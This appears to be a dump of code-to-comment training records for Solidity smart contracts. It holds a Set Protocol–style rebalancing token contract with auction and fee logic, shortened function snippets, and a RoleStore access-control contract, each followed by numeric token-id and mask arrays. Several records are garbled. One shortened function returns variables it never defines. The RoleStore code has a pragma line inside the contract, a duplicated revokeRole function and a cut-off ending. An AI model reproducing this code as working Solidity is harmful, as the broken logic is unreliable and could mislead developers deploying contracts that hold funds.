@param _initialSet Initial set that collateralizes the Rebalancing set * @param _initialUnitShares Units of currentSet that equals one share * @param _proposalPeriod Amount of time for users to inspect a rebalance proposal * @param _rebalanceInterval Minimum amount of time between rebalances * @param _entranceFee Entrance fee as a percentage of initialSet when minting the Rebalancing Set * @param _rebalanceFee Rebalance fee as a percentage of the nextSet when rebalance is settled * @param _name The bytes32 encoded name of the new RebalancingSetToken * @param _symbol The bytes32 encoded symbol of the new RebalancingSetToken */ constructor( address _factory, address _manager, address _initialSet, uint256 _initialUnitShares, uint256 _proposalPeriod, uint256 _rebalanceInterval, uint256 _entranceFee, uint256 _rebalanceFee, bytes32 _name, bytes32 _symbol ) public DetailedERC20( _name.bytes32ToString(), _symbol.bytes32ToString(), 18 ) { // Require initial unit shares is non-zero require(_initialUnitShares > 0, "UNIT_SHARES_MUST_BE_NON_ZERO"); // Require manager address is non-zero require(_manager != address(0), "MANAGER_MUST_BE_NON_NULL"); // Require minimum rebalance interval and proposal period from factory IRebalancingSetFactory tokenFactory = IRebalancingSetFactory(_factory); require(_proposalPeriod >= tokenFactory.minimumProposalPeriod(), "PROPOSAL_PERIOD_TOO_SHORT"); require(_rebalanceInterval >= tokenFactory.minimumRebalanceInterval(), "REBALANCE_INTERVAL_TOO_SHORT"); factory = _factory; manager = _manager; entranceFee = _entranceFee; rebalanceFee = _rebalanceFee; currentSet = _initialSet; unitShares = _initialUnitShares; proposalPeriod = _proposalPeriod; rebalanceInterval = _rebalanceInterval; lastRebalanceTimestamp = block.timestamp; rebalanceState = State.Default; } /* ============ Public Functions ============ */ /** * Function used to set the terms of the next rebalance and start the proposal period * * * @param _nextSet The Set to rebalance into * @param _auctionLibrary The library used to calculate the Dutch Auction price * @param _curveCoefficient The slope (or convexity) of the price curve * @param _auctionPriceDivisor The granularity with which the prices change * @param _auctionStartPrice The price to start the auction at */ function propose( address _nextSet, address _auctionLibrary, uint256 _curveCoefficient, uint256 _auctionStartPrice, uint256 _auctionPriceDivisor ) external { ICore core = ICore(IRebalancingSetFactory(factory).core()); // Make sure it is manager that is proposing the rebalance require(msg.sender == manager, "ONLY_MANAGER_CAN_PROPOSE"); // New proposal cannot be made during a rebalance period require(rebalanceState != State.Rebalance, "PROPOSE_CALLED_DURING_REBALANCE"); // Make sure enough time has passed from last rebalance to start a new proposal require(block.timestamp >= lastRebalanceTimestamp.add(rebalanceInterval), "PROPOSE_CALLED_TOO_EARLY"); // Check that new proposed Set is valid Set created by Core require(core.validSets(_nextSet), "PROPOSED_SET_INVALID"); // Check that the auction library is a valid priceLibrary tracked by Core require(core.validPriceLibraries(_auctionLibrary), "PRICE_LIB_MUST_BE_VALID"); // Assert price divisor is non-zero, ensuring a positive slope require(_auctionPriceDivisor > 0, "PRICE_DIV_MUST_BE_NON_ZERO"); // Assert curve coefficient > 0, ensuring a positive slope require(_curveCoefficient > 0, "CURVE_COEF_MUST_BE_NON_ZERO"); // Check that the propoosed set natural unit is a multiple of current set natural unit, or vice versa. // Done to make sure that when calculating token units there will are no rounding errors. uint256 currentNaturalUnit = ISetToken(currentSet).naturalUnit(); uint256 nextSetNaturalUnit = ISetToken(_nextSet).naturalUnit(); require( Math.max256(currentNaturalUnit, nextSetNaturalUnit) % Math.min256(currentNaturalUnit, nextSetNaturalUnit) == 0, "SET_NATURAL_UNITS_NOT_MULTIPLES" ); // Set auction parameters nextSet = _nextSet; auctionLibrary = _auctionLibrary; curveCoefficient = _curveCoefficient; auctionStartPrice = _auctionStartPrice; auctionPriceDivisor = _auctionPriceDivisor; // Update state parameters proposalStartTime = block.timestamp; rebalanceState = State.Proposal; emit RebalanceProposed( _nextSet, _auctionLibrary, proposalStartTime.add(proposalPeriod) ); } /* * Initiate rebalance for the rebalancing set. Users can now submit bids. * */ function rebalance() external { // Must be in "Proposal" state before going into "Rebalance" state require(rebalanceState == State.Proposal, "ONLY_CALLABLE_FROM_PROPOSE_STATE"); // Be sure the full proposal period has elapsed require(block.timestamp >= proposalStartTime.add(proposalPeriod), "PROPOSAL_PERIOD_NOT_ELAPSED"); // Get core address from factory and create core interface ICore core = ICore(IRebalancingSetFactory(factory).core()); // Create token arrays needed for auction auctionSetUp(); // Get currentSet natural unit uint256 currentSetNaturalUnit = ISetToken(currentSet).naturalUnit(); // Get remainingCurrentSets and make it divisible by currentSet natural unit remainingCurrentSets = IVault(core.vault()).getOwnerBalance( currentSet, this ); remainingCurrentSets = remainingCurrentSets.div(currentSetNaturalUnit).mul(currentSetNaturalUnit); // Redeem current set held by rebalancing token in vault core.redeemInVault(currentSet, remainingCurrentSets); // Update state parameters auctionStartTime = block.timestamp; rebalanceState = State.Rebalance; emit RebalanceStarted(currentSet, nextSet); } /* * Initiate settlement for the rebalancing set. Full functionality now returned to * set owners. * */ function settleRebalance() external { // Must be in Rebalance state to call settlement require(rebalanceState == State.Rebalance, "NEED_ACTIVE_REBALANCE_TO_SETTLE"); // Make sure all currentSets have been rebalanced require(remainingCurrentSets < minimumBid, "REBALANCE_NOT_FINISHED"); // Creating pointer to Core to Issue next set and Deposit into vault and to nextSet token // to transfer fees ICore core = ICore(IRebalancingSetFactory(factory).core()); ISetToken nextSetInstance = ISetToken(nextSet); address protocolAddress = core.protocolAddress(); // Issue nextSet to RebalancingSetToken uint256 issueAmount; uint256 totalFees; uint256 managerFee; uint256 protocolFee; (issueAmount, unitShares, totalFees) = calculateNextSetIssueQuantity(); (managerFee, protocolFee) = calculateFeeSplit(totalFees); core.issue( nextSet, issueAmount ); // Ensure transfer proxy has enough spender allowance to move issued nextSet to vault ERC20Wrapper.ensureAllowance( nextSet, this, core.transferProxy(), issueAmount ); // Deposit newly created nextSets in Vault core.deposit( nextSet, issueAmount.sub(totalFees) ); nextSetInstance.transfer( manager, managerFee ); if (protocolFee > 0) { nextSetInstance.transfer( protocolAddress, protocolFee ); } // Set current set to be rebalancing set currentSet = nextSet; // Update state parameters lastRebalanceTimestamp = block.timestamp; rebalanceState = State.Default; } /* * Place bid during rebalance auction. Can only be called by Core. * * @param _quantity The amount of currentSet to be rebalanced * @return combinedTokenArray Array of token addresses invovled in rebalancing * @return inflowUnitArray Array of amount of tokens inserted into system in bid * @return outflowUnitArray Array of amount of tokens taken out of system in bid */ function placeBid( uint256 _quantity ) external returns (address[], uint256[], uint256[]) { // Make sure sender is Core require(msg.sender == IRebalancingSetFactory(factory).core(), "ONLY_CORE_CAN_PLACE_BID"); // Confirm in Rebalance State require(rebalanceState == State.Rebalance, "NEED_ACTIVE_REBALANCE_TO_BID"); // Make sure that bid amount is multiple of minimum bid amount require(_quantity % minimumBid == 0, "NOT_MINIMUM_BID_MULTIPLE"); // Make sure that bid Amount is less than remainingCurrentSets require(_quantity <= remainingCurrentSets, "BID_SIZE_TOO_LARGE"); // Calculate token inflow and outflow arrays uint256[] memory inflowUnitArray = new uint256[](combinedTokenArray.length); uint256[] memory outflowUnitArray = new uint256[](combinedTokenArray.length); (inflowUnitArray, outflowUnitArray) = getBidPrice(_quantity); remainingCurrentSets = remainingCurrentSets.sub(_quantity); return (combinedTokenArray, inflowUnitArray, outflowUnitArray); } /* * Get token inflows and outflows required for bid. Also the amount of Rebalancing * Sets that would be generated. * * @param _quantity The amount of currentSet to be rebalanced * @return inflowUnitArray Array of amount of tokens inserted into system in bid * @return outflowUnitArray Array of amount of tokens taken out of system in bid */ function getBidPrice( uint256 _quantity ) public view returns (uint256[], uint256[]) { // Confirm in Rebalance State require(rebalanceState == State.Rebalance, "NEED_ACTIVE_REBALANCE_TO_PRICE"); // Declare unit arrays in memory uint256[] memory inflowUnitArray = new uint256[](combinedTokenArray.length); uint256[] memory outflowUnitArray = new uint256[](combinedTokenArray.length); // Get bid conversion price, currently static placeholder for calling auctionlibrary uint256 priceNumerator = IAuctionPriceCurve(auctionLibrary).getCurrentPrice( auctionStartTime, auctionStartPrice, curveCoefficient ); // Normalized quantity amount uint256 unitsMultiplier = _quantity.div(minimumBid).mul(auctionPriceDivisor); for (uint256 i = 0; i < combinedTokenArray.length; i++) { uint256 nextUnit = combinedNextSetUnits[i]; uint256 currentUnit = combinedCurrentUnits[i]; /* * Below is a mathematically simplified formula for calculating token inflows and * outflows, the following is it's derivation: * token_flow = (bidQuantity/price)*(nextUnit - price*currentUnit) * * Where, * 1) price = (priceNumerator/auctionPriceDivisor), * 2) nextUnit and currentUnit are the amount of component i needed for a * standardAmount of sets to be rebalanced where one standardAmount = * max(natural unit nextSet, natural unit currentSet), and * 3) bidQuantity is a normalized amount in terms of the standardAmount used * to calculate nextUnit and currentUnit. This is represented by the unitsMultiplier * variable. * * Given these definitions we can derive the below formula as follows: * token_flow = (unitsMultiplier/(priceNumerator/auctionPriceDivisor))* * (nextUnit - (priceNumerator/auctionPriceDivisor)*currentUnit) * * We can then multiply this equation by (auctionPriceDivisor/auctionPriceDivisor) * which simplifies the above equation to: * * (unitsMultiplier/priceNumerator)* (nextUnit*auctionPriceDivisor - currentUnit*priceNumerator) * * This is the equation seen below, but since unsigned integers are used we must check to see if * nextUnit*auctionPriceDivisor > currentUnit*priceNumerator, otherwise those two terms must be * flipped in the equation. */ if (nextUnit.mul(auctionPriceDivisor) > currentUnit.mul(priceNumerator)) { inflowUnitArray[i] = unitsMultiplier.mul( nextUnit.mul(auctionPriceDivisor).sub(currentUnit.mul(priceNumerator)) ).div(priceNumerator); // Set outflow amount to 0 for component i, since tokens need to be injected in rebalance outflowUnitArray[i] = 0; } else { // Calculate outflow amount outflowUnitArray[i] = unitsMultiplier.mul( currentUnit.mul(priceNumerator).sub(nextUnit.mul(auctionPriceDivisor)) ).div(priceNumerator); // Set inflow amount to 0 for component i, since tokens need to be returned in rebalance inflowUnitArray[i] = 0; } } return (inflowUnitArray, outflowUnitArray); } /* * Mint set token for given address. * Can only be called by Core contract. * * @param _issuer The address of the issuing account * @param _quantity The number of sets to attribute to issuer */ function mint( address _issuer, uint256 _quantity ) external { // Check that function caller is Core require(msg.sender == IRebalancingSetFactory(factory).core(), "ONLY_CORE_CAN_MINT_REBAL_SET"); // Check that set is not in Rebalancing State require(rebalanceState != State.Rebalance, "MINT_PAUSED_DURING_REBALANCE"); uint256 totalFees = _quantity.mul(entranceFee).div(10000); uint256 issuerTotal = _quantity.sub(totalFees); uint256 managerFee; uint256 protocolFee; (managerFee, protocolFee) = calculateFeeSplit(totalFees); // Update token balance of the manager balances[_issuer] = balances[_issuer].add(issuerTotal); balances[manager] = balances[manager].add(managerFee); if (protocolFee > 0) { // Get protocol address and add fees to protocol and issuer address protocolAddress = ICore(IRebalancingSetFactory(factory).core()).protocolAddress(); balances[protocolAddress] = balances[protocolAddress].add(protocolFee); // Emit transfer log for protocol fee emit Transfer(address(0), protocolAddress, protocolFee); } // Update the total supply of the set token totalSupply_ = totalSupply_.add(_quantity); // Emit a transfer log for issuer and manager fee emit Transfer(address(0), _issuer, issuerTotal); emit Transfer(address(0), manager, managerFee); } /* * Burn set token for given address. * Can only be called by authorized contracts. * * @param _from The address of the redeeming account * @param _quantity The number of sets to burn from redeemer */ function burn( address _from, uint256 _quantity ) external { // Check that function caller is Core require(msg.sender == IRebalancingSetFactory(factory).core(), "ONLY_CORE_CAN_BURN_REBAL_SET"); // Check that set is not in Rebalancing State require(rebalanceState != State.Rebalance, "BURN_PAUSED_DURING_REBALANCE"); // Require user has tokens to burn require(balances[_from] >= _quantity, "NOT_ENOUGH_TOKENS_TO_BURN"); // Update token balance of user balances[_from] = balances[_from].sub(_quantity); // Update total supply of Set Token totalSupply_ = totalSupply_.sub(_quantity); // Emit a transfer log with to address being 0 indicating burn emit Transfer(_from, address(0), _quantity); } /* * Set new manager address * * @param _newManager The address of the redeeming account */ function setManager( address _newManager ) external { require(msg.sender == manager, "ONLY_MANAGER_CAN_SET"); emit NewManagerAdded(_newManager, manager); manager = _newManager; } /* ============ Getter Functions ============ */ /* * Get addresses of setToken underlying the Rebalancing Set * * @return componentAddresses Array of currentSet */ function getComponents() external view returns(address[]) { address[] memory components = new address[](1); components[0] = currentSet; return components; } /* * Get unitShares of Rebalancing Set * * @return units Array of component unit */ function getUnits() external view returns(uint256[]) { uint256[] memory units = new uint256[](1); units[0] = unitShares; return units; } /* * Get combinedTokenArray of Rebalancing Set * * @return combinedTokenArray */ function getCombinedTokenArrayLength() external view returns(uint256) { return combinedTokenArray.length; } /* * Get combinedTokenArray of Rebalancing Set * * @return combinedTokenArray */ function getCombinedTokenArray() external view returns(address[]) { return combinedTokenArray; } /* * Get combinedCurrentUnits of Rebalancing Set * * @return combinedCurrentUnits */ function getCombinedCurrentUnits() external view returns(uint256[]) { return combinedCurrentUnits; } /* * Get combinedNextSetUnits of Rebalancing Set * * @return combinedNextSetUnits */ function getCombinedNextSetUnits() external view returns(uint256[]) { return combinedNextSetUnits; } /* ============ Internal Functions ============ */ /** * Create array that represents all components in currentSet and nextSet. * Calcualate unit difference between both sets relative to the largest natural * unit of the two sets. */ function auctionSetUp() private { // Create interfaces for interacting with sets ISetToken currentSetInstance = ISetToken(currentSet); ISetToken nextSetInstance = ISetToken(nextSet); // Create combined token Array address[] memory oldComponents = currentSetInstance.getComponents(); address[] memory newComponents = nextSetInstance.getComponents(); combinedTokenArray = oldComponents.union(newComponents); // Get naturalUnit of both sets uint256 currentSetNaturalUnit = currentSetInstance.naturalUnit(); uint256 nextSetNaturalUnit = nextSetInstance.naturalUnit(); // Get units arrays for both sets uint256[] memory currentSetUnits = currentSetInstance.getUnits(); uint256[] memory nextSetUnits = nextSetInstance.getUnits(); // Create memory version of combinedNextSetUnits and combinedCurrentUnits to only make one // call to storage once arrays have been created uint256[] memory memoryCombinedCurrentUnits = new uint256[](combinedTokenArray.length); uint256[] memory memoryCombinedNextSetUnits = new uint256[](combinedTokenArray.length); minimumBid = Math.max256( currentSetNaturalUnit.mul(auctionPriceDivisor), nextSetNaturalUnit.mul(auctionPriceDivisor) ); for (uint256 i=0; i < combinedTokenArray.length; i++) { // Check if component in arrays and get index if it is (uint256 indexCurrent, bool isInCurrent) = oldComponents.indexOf(combinedTokenArray[i]); (uint256 indexRebalance, bool isInNext) = newComponents.indexOf(combinedTokenArray[i]); // Compute and push unit amounts of token in currentSet, push 0 if not in set if (isInCurrent) { memoryCombinedCurrentUnits[i] = computeUnits(currentSetUnits[indexCurrent], currentSetNaturalUnit); } else { memoryCombinedCurrentUnits[i] = uint256(0); } // Compute and push unit amounts of token in nextSet, push 0 if not in set if (isInNext) { memoryCombinedNextSetUnits[i] = computeUnits(nextSetUnits[indexRebalance], nextSetNaturalUnit); } else { memoryCombinedNextSetUnits[i] = uint256(0); } } // Set combinedCurrentUnits and combinedNextSetUnits to memory versions of arrays combinedCurrentUnits = memoryCombinedCurrentUnits; combinedNextSetUnits = memoryCombinedNextSetUnits; } /** * Calculate the amount of nextSets to issue by using the component amounts in the * vault, unitShares following from this calculation. * @return uint256 Amount of nextSets to issue * @return uint256 New unitShares for the rebalancingSetToken */ function calculateNextSetIssueQuantity() private returns (uint256, uint256, uint256) { // Collect data necessary to compute issueAmounts uint256 nextNaturalUnit = ISetToken(nextSet).naturalUnit(); address[] memory nextComponents = ISetToken(nextSet).getComponents(); uint256[] memory nextUnits = ISetToken(nextSet).getUnits(); uint256 maxIssueAmount = CommonMath.maxUInt256(); // Set up vault interface address vaultAddress = ICore(IRebalancingSetFactory(factory).core()).vault(); IVault vault = IVault(vaultAddress); for (uint256 i = 0; i < nextComponents.length; i++) { // Get amount of components in vault owned by rebalancingSetToken uint256 componentAmount = vault.getOwnerBalance( nextComponents[i], this ); // Calculate amount of Sets that can be issued from those components, if less than amount for other // components then set that as maxIssueAmount uint256 componentIssueAmount = componentAmount.div(nextUnits[i]).mul(nextNaturalUnit); if (componentIssueAmount < maxIssueAmount) { maxIssueAmount = componentIssueAmount; } } // Calculate the amount of naturalUnits worth of rebalancingSetToken outstanding uint256 naturalUnitsOutstanding = totalSupply_.div(naturalUnit); // Issue amount of Sets that is closest multiple of nextNaturalUnit to the maxIssueAmount // Since the initial division will round down to the nearest whole number when we multiply // by that same number we will return the closest multiple less than the maxIssueAmount uint256 issueAmount = maxIssueAmount.div(nextNaturalUnit).mul(nextNaturalUnit); uint256 totalFees = issueAmount.mul(rebalanceFee).div(10000); // Divide final issueAmount by naturalUnitsOutstanding to get newUnitShares uint256 newUnitShares = issueAmount.sub(totalFees).div(naturalUnitsOutstanding); return (issueAmount, newUnitShares, totalFees); } /** * Function to calculate the transfer value of a component given 1 Set * * @param _unit The units of the component token * @param _naturalUnit The natural unit of the Set token * @return uint256 Amount of tokens per minimumBid/auctionPriceDivisor */ function computeUnits( uint256 _unit, uint256 _naturalUnit ) private returns (uint256) { return minimumBid.mul(_unit).div(_naturalUnit).div(auctionPriceDivisor); } /** * Function to calculate splitting fees between manager and protocol * * @param totalFees Total amount of fees to split up * @return uint256 Amount of tokens to send to manager * @return uint256 Amount of tokens to send to protocol */ function calculateFeeSplit( uint256 totalFees ) private returns (uint256, uint256) { uint256 protocolFee = totalFees.mul(ICore(IRebalancingSetFactory(factory).core()).protocolFee()) .div(10000); uint256 managerFee = totalFees.sub(protocolFee); return (managerFee, protocolFee); } }
* Calculate the amount of nextSets to issue by using the component amounts in the vault, unitShares following from this calculation. @return uint256 Amount of nextSets to issue @return uint256 New unitShares for the rebalancingSetToken/ Collect data necessary to compute issueAmounts Set up vault interface Get amount of components in vault owned by rebalancingSetToken Calculate amount of Sets that can be issued from those components, if less than amount for other components then set that as maxIssueAmount
function calculateNextSetIssueQuantity() private returns (uint256, uint256, uint256) { uint256 nextNaturalUnit = ISetToken(nextSet).naturalUnit(); address[] memory nextComponents = ISetToken(nextSet).getComponents(); uint256[] memory nextUnits = ISetToken(nextSet).getUnits(); uint256 maxIssueAmount = CommonMath.maxUInt256(); address vaultAddress = ICore(IRebalancingSetFactory(factory).core()).vault(); IVault vault = IVault(vaultAddress); for (uint256 i = 0; i < nextComponents.length; i++) { uint256 componentAmount = vault.getOwnerBalance( nextComponents[i], this ); uint256 componentIssueAmount = componentAmount.div(nextUnits[i]).mul(nextNaturalUnit); if (componentIssueAmount < maxIssueAmount) { maxIssueAmount = componentIssueAmount; } } uint256 totalFees = issueAmount.mul(rebalanceFee).div(10000); return (issueAmount, newUnitShares, totalFees); }
13,031,665
[ 1, 8695, 326, 3844, 434, 1024, 2785, 358, 5672, 635, 1450, 326, 1794, 30980, 316, 326, 9229, 16, 2836, 24051, 3751, 628, 333, 11096, 18, 327, 2254, 5034, 2868, 16811, 434, 1024, 2785, 358, 5672, 327, 2254, 5034, 2868, 1166, 2836, 24051, 364, 326, 283, 28867, 694, 1345, 19, 9302, 501, 4573, 358, 3671, 5672, 6275, 87, 1000, 731, 9229, 1560, 968, 3844, 434, 4085, 316, 9229, 16199, 635, 283, 28867, 694, 1345, 9029, 3844, 434, 11511, 716, 848, 506, 16865, 628, 5348, 4085, 16, 309, 5242, 2353, 3844, 364, 1308, 4085, 1508, 444, 716, 487, 943, 12956, 6275, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4604, 2134, 694, 12956, 12035, 1435, 203, 3639, 3238, 203, 3639, 1135, 261, 11890, 5034, 16, 2254, 5034, 16, 2254, 5034, 13, 203, 565, 288, 203, 3639, 2254, 5034, 1024, 23779, 3766, 2802, 273, 467, 694, 1345, 12, 4285, 694, 2934, 18757, 3766, 2802, 5621, 203, 3639, 1758, 8526, 3778, 1024, 7171, 273, 467, 694, 1345, 12, 4285, 694, 2934, 588, 7171, 5621, 203, 3639, 2254, 5034, 8526, 3778, 1024, 7537, 273, 467, 694, 1345, 12, 4285, 694, 2934, 588, 7537, 5621, 203, 3639, 2254, 5034, 943, 12956, 6275, 273, 5658, 10477, 18, 1896, 14342, 5034, 5621, 203, 203, 3639, 1758, 9229, 1887, 273, 467, 4670, 12, 45, 426, 28867, 694, 1733, 12, 6848, 2934, 3644, 1435, 2934, 26983, 5621, 203, 3639, 467, 12003, 9229, 273, 467, 12003, 12, 26983, 1887, 1769, 203, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 1024, 7171, 18, 2469, 31, 277, 27245, 288, 203, 5411, 2254, 5034, 1794, 6275, 273, 9229, 18, 588, 5541, 13937, 12, 203, 7734, 1024, 7171, 63, 77, 6487, 203, 7734, 333, 203, 5411, 11272, 203, 203, 5411, 2254, 5034, 1794, 12956, 6275, 273, 1794, 6275, 18, 2892, 12, 4285, 7537, 63, 77, 65, 2934, 16411, 12, 4285, 23779, 3766, 2802, 1769, 203, 5411, 309, 261, 4652, 12956, 6275, 411, 943, 12956, 6275, 13, 288, 203, 7734, 943, 12956, 6275, 273, 1794, 12956, 6275, 31, 203, 5411, 289, 203, 3639, 289, 203, 203, 203, 3639, 2254, 5034, 2078, 2954, 281, 273, 5672, 6275, 18, 16411, 12, 266, 12296, 2 ]
./full_match/5/0xa773E0f5dd62A219Ba91fA5C6c81B6eaC4FfF9e4/sources/contracts/Contract.sol
armazena as contas de todos os usuários
mapping(address => Account) public accounts;
1,931,558
[ 1, 4610, 1561, 24457, 487, 466, 345, 443, 31754, 1140, 584, 89, 132, 99, 566, 538, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2874, 12, 2867, 516, 6590, 13, 1071, 9484, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/84531/0xd7149865d07cCfdfB10f858AFAb297A8251882Cc/sources/contracts/stores/RoleStore.sol
* @title RoleStore @notice Role-based access control mechanism. Governance can grant and revoke roles dynamically via {grantRole} and {revokeRole}/ Libraries Set of roles Role -> address
contract RoleStore is Governable { using EnumerableSet for EnumerableSet.AddressSet; using EnumerableSet for EnumerableSet.Bytes32Set; EnumerableSet.Bytes32Set internal roles; mapping(bytes32 => EnumerableSet.AddressSet) internal roleMembers; pragma solidity 0.8.17; constructor() Governable() {} function grantRole(address account, bytes32 role) external onlyGov { if (!roles.contains(role)) roles.add(role); require(roleMembers[role].add(account)); } function revokeRole(address account, bytes32 role) external onlyGov { require(roleMembers[role].remove(account)); if (roleMembers[role].length() == 0) { roles.remove(role); } } function revokeRole(address account, bytes32 role) external onlyGov { require(roleMembers[role].remove(account)); if (roleMembers[role].length() == 0) { roles.remove(role); } } function hasRole(address account, bytes32 role) external view returns (bool) { return roleMembers[role].contains(account); } function getRoleCount() external view returns (uint256) { return roles.length(); } }
11,525,518
[ 1, 2996, 2257, 225, 6204, 17, 12261, 2006, 3325, 12860, 18, 611, 1643, 82, 1359, 848, 7936, 471, 540, 18007, 4900, 18373, 3970, 288, 16243, 2996, 97, 471, 288, 9083, 3056, 2996, 4004, 10560, 11042, 1000, 434, 4900, 6204, 317, 1758, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 6204, 2257, 353, 611, 1643, 6914, 288, 203, 565, 1450, 6057, 25121, 694, 364, 6057, 25121, 694, 18, 1887, 694, 31, 203, 565, 1450, 6057, 25121, 694, 364, 6057, 25121, 694, 18, 2160, 1578, 694, 31, 203, 203, 565, 6057, 25121, 694, 18, 2160, 1578, 694, 2713, 4900, 31, 203, 203, 565, 2874, 12, 3890, 1578, 516, 6057, 25121, 694, 18, 1887, 694, 13, 2713, 2478, 6918, 31, 203, 203, 203, 683, 9454, 18035, 560, 374, 18, 28, 18, 4033, 31, 203, 565, 3885, 1435, 611, 1643, 6914, 1435, 2618, 203, 565, 445, 7936, 2996, 12, 2867, 2236, 16, 1731, 1578, 2478, 13, 3903, 1338, 43, 1527, 288, 203, 3639, 309, 16051, 7774, 18, 12298, 12, 4615, 3719, 4900, 18, 1289, 12, 4615, 1769, 203, 203, 3639, 2583, 12, 4615, 6918, 63, 4615, 8009, 1289, 12, 4631, 10019, 203, 565, 289, 203, 203, 565, 445, 18007, 2996, 12, 2867, 2236, 16, 1731, 1578, 2478, 13, 3903, 1338, 43, 1527, 288, 203, 3639, 2583, 12, 4615, 6918, 63, 4615, 8009, 4479, 12, 4631, 10019, 203, 203, 3639, 309, 261, 4615, 6918, 